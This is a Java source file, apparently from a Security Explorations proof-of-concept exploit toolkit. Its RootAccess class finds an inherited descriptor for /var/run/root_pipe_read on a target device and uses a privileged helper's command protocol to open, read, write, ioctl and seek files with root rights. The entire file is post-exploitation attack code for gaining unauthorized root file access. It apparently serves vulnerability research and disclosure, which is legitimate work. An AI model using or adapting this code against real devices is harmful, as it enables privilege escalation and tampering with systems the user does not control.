/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;

public class RootAccess {
 private static final int MAGIC   = 0xADB1ADB2;
 private static final int HDRSIZE = 0x8;
 private static final int CMDSIZE = 0x10;

 public static final int O_RDONLY  = 0x00000000;
 public static final int O_WRONLY  = 0x00000001;
 public static final int O_RDWR    = 0x00000002;

 public static final int O_APPEND  = 0x00000400;

 public static final int SEEK_SET  = 0;
 public static final int SEEK_CUR  = 1;
 public static final int SEEK_END  = 2;

 private static final int CMD_OPEN  = 0x01;
 private static final int CMD_CLOSE = 0x02;
 private static final int CMD_READ  = 0x03;
 private static final int CMD_WRITE = 0x04;
 private static final int CMD_IOCTL = 0x05;
 private static final int CMD_LSEEK = 0x06;

 private static int readfd,writefd;
 private static int hdr;
 private static int pos;

 static {
  if (Config.isHERMES()) {
   int base_fd=find_fd();

   writefd=base_fd;
   readfd=base_fd+1;

   NativeCode nc=NativeCode.getInstance();  
   hdr=nc.malloc(HDRSIZE+CMDSIZE);
  }
 }

 private static int find_fd() {
  NativeCode nc=NativeCode.getInstance();

  int ptr=nc.malloc(FSDefs.STATBUFSIZE);

  if (Syscall.lstat("/var/run/root_pipe_read",ptr)==0) {
   int filestat[]=Utils.buf2iarray(ptr,FSDefs.STATBUFSIZE);

   for(int i=0;i<0x80;i++) {
    if (Syscall.fstat(i,ptr)==0) {
     int fdstat[]=Utils.buf2iarray(ptr,FSDefs.STATBUFSIZE);

     int matches=0;

     for(int j=0;j<FSDefs.STATBUFSIZE;j++) {
      if (filestat[j]==fdstat[j]) matches++;
       else break;
     }

     if (matches==FSDefs.STATBUFSIZE) {
      nc.free(ptr);
      return i;
     }   
    }
   }
  }

  nc.free(ptr);

  return -1;
 }
 
 private static void write_header(int len) {
  Memory.write_dword(hdr,MAGIC);
  Memory.write_dword(hdr+4,len);
  pos=8;
 }

 private static void write_int(int val) {
  Memory.write_dword(hdr+pos,val);
  pos+=4;
 }

 private static void send_buf(int buf,int size) {
  FS.sys_write_fully(writefd,buf,size);
 }

 private static void send_cmd() {
  FS.sys_write_fully(writefd,hdr,pos);
 }

 private static void read_header() {
  pos=0;
  read_int();
  read_int();
 }

 private static void read_int() {
  FS.sys_read_fully(readfd,hdr+pos,4);
  pos+=4;
 }

 private static void recv_buf(int buf,int size) {
  FS.sys_read_fully(readfd,buf,size);
 }

 private static void recv_response() {
  pos=0;
  for(int i=0;i<(HDRSIZE+CMDSIZE)>>2;i++) {
   read_int();
  }
 }

 public static int open(String filename,int mode) {
  if (Config.isHERMES()) {
   int cfilename=Utils.java2cstring(filename);

   write_header(CMDSIZE);
   write_int(CMD_OPEN);
   write_int(mode);
   write_int(0);
   write_int(filename.length());
   send_cmd();

   recv_response();

   write_header(filename.length());
   send_cmd();
   send_buf(cfilename,filename.length());

   recv_response();
    
   int fd=Memory.read_dword(hdr+0x0c);

   NativeCode.getInstance().free(cfilename);

   return fd;
  } else return -1;
 }

 public static int close(int fd) {
  if (Config.isHERMES()) {
   write_header(CMDSIZE);
   write_int(CMD_CLOSE);
   write_int(fd);
   write_int(0);
   write_int(0);
   send_cmd();

   recv_response();
    
   int res=Memory.read_dword(hdr+0x0c);

   return res;
  } else return -1;
 }


 public static int read(int fd,int buf,int size) {
  if (Config.isHERMES()) {
   write_header(CMDSIZE);
   write_int(CMD_READ);
   write_int(fd);
   write_int(0);
   write_int(size);
   send_cmd();

   int off=0;

   while(true) {
    recv_response();

    int state=Memory.read_dword(hdr+0x08);
    if (state==3) break;

    read_header();

    int cnt=Memory.read_dword(hdr+0x04);
    recv_buf(buf+off,cnt);

    off+=cnt;
   }
    
   int res=Memory.read_dword(hdr+0x0c);

   return res;
  } else return -1;
 }

 public static int write(int fd,int buf,int size) {
  if (Config.isHERMES()) {
   write_header(CMDSIZE);
   write_int(CMD_WRITE);
   write_int(fd);
   write_int(0);
   write_int(size);
   send_cmd();

   int off=0;

   while(true) {
    recv_response();

    int state=Memory.read_dword(hdr+0x08);
    if (state==3) break;

    int cnt=Memory.read_dword(hdr+0x10);

    write_header(cnt);
    send_cmd();
    send_buf(buf+off,cnt);

    off+=cnt;
   }

   int res=Memory.read_dword(hdr+0x0c);

   return res;
  } else return -1;
 }

 public static int ioctl(int fd,int cmd,int buf) {
  if (Config.isHERMES()) {
   write_header(CMDSIZE);
   write_int(CMD_IOCTL);
   write_int(fd);
   write_int(cmd);
   write_int(0);
   send_cmd();

   int size=(cmd>>16)&0x3fff;
   int bits=(cmd>>30)&0x03;

   if (size!=0) {
    if ((bits&0x01)!=0) {
     recv_response();

     write_header(size);
     send_cmd();
     send_buf(buf,size);
    }

    if ((bits&0x02)!=0) {
     recv_response();

     read_header();
     recv_buf(buf,size);
    }
   }

   recv_response();
    
   int res=Memory.read_dword(hdr+0x0c);

   return res;
  } else return -1;
 }

 public static int lseek(int fd,int off,int whence) {
  if (Config.isHERMES()) {
   write_header(CMDSIZE);
   write_int(CMD_LSEEK);
   write_int(fd);
   write_int(off);
   write_int(whence);
   send_cmd();

   recv_response();
    
   int res=Memory.read_dword(hdr+0x0c);

   return res;
  } else return -1;
 }

 public static int filesize(String filename) {
  if (Config.isHERMES()) {
   int size=-1;

   int fd=open(filename,O_RDONLY);

   if (fd>0) {
    size=lseek(fd,0,SEEK_END);
    close(fd);
   }
  
   return size;
  } else return -1;
 }
 
}
